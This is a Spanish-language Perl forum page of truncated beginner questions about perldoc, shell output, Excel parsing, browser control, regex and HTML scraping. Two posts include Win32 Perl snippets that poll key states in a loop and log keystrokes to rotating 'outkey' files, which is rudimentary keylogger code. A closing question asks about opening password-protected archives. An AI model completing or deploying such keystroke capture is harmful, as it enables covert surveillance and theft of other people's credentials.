Foro - Perl en Español

Saludos a la comunidad...

Tengo una consulta. Los archivos que están traducidos en perldoc-es, estos, ¿se pueden integrar con la instalación de Perl?

Por que bajé el ZIP y no sé qué hacer con él :P A ver si alguien me orienta...

Por otra parte ¿los archivos .pod son para la consola?

Saludos

¡¡Buenas noches!! ¡¡va, por lo menos en Argentina lo es!! Les cuento la inquietud que tengo.

pwd
/home/directorio
ls
archivo1 archivo2
my $ls = exec("ls");
my @lsarray = split(/\s+/, $ls);
print "$lsarray\n"; # solución esperada >> "archivo1"
archivo1 archivo2 # lo que sale como No quiero

Aguardo alguna sugerencia, me estoy iniciando en este lenguaje, unas de las primeras cosas que quiero realizar y ya me topo con algo. ¡¡Saludos!! y gracias.

Estimados, si bien siempre he ocupado Spreadsheet::ParseExcel::Simple para leer archivos Excel, hoy se me presenta lo siguiente:

Necesito leer desde una misma hoja ciertas celdas y luego comenzar un bucle para extraer datos desde la línea 100 en adelante.

Si bien he sacado los datos de las celdas fijas con Spreadsheet::Read, no sé cómo comenzar a sacar los datos desde la línea 100 en adelante...

Favor su ayuda, Gracias.

#!/usr/bin/perl

use Spreadsheet::Read;



open (FILE, @ARGV) ...

Quiero hacer un programa que controle mi navegador.

Ya vi el tutorial de SAMIE pero no me funcionó. Creo que es porque es porque era para Activestate y quisiera saber si hay algún módulo para controlar Firefox (Chrome, o IE, o cualquiera de esos 3, mejor si hay para los 3) y aun mejor si me pueden dar ejemplos.

¡Gracias! :D

¿ Alguien me podría decir cómo una expresión regular para sacar de un variable $text todo lo que tenga 10 dígitos y mostrarlo por pantalla ?

.

Ante todo, felicidades por esta página que me ha ahorrado un montón de horas buscando información y a los comentarios de explorer que aparecen en todos los lados :P

Tengo un problemilla con una búsqueda de un html que me llega que necesito sacar los vídeos de Youtube y los comentarios asociados.

Porción del html que quiero capturar:

<div id="cuerpo_13234" class="cuerpo">
Texto pruebra bllalblalbla ...

Tengo el siguiente código

use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;

Win32::API->Import('user32', 'GetKeyState', 'I', 'I');

sub GetCapsLock {
GetKeyState(0x14) & 1;
}

sub GetNumLock {
GetKeyState(0x90) & 1;
}

sub GetScrollLock {
GetKeyState(0x91) & 1;
}

sub SetCapsLock {} # Not yet implemented

sub SetNumLock {} # Not yet implemented

sub SetScrollLock {} # Not yet implemented

while(1){

if(-s OUT >= 1048576){
close(OUT);
#$I++;
open (OUT, ">>outkey$I.txt") || die "could not create ...

Tengo el siguiente código.

use Win32::API;

my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");

while(1) {

if (dame(0x10)) {
print "shift\n";
$shift = 1;
} else {
$shift = 0;
}

if(dame(0x31)) {
if($shift eq "1") {
print "!\n";
} else {
print "1\n";
}
}

}#

sub dame {
return($come->Call(@_) & 1);
}

sub savefile {
print $_."\n";
}


La idea es reconocer cuando alguien quiere hacer "!" pero el problema es que ...

¿ Existe algún módulo de Perl para poder abrir archivos zip o rar que tengan password ?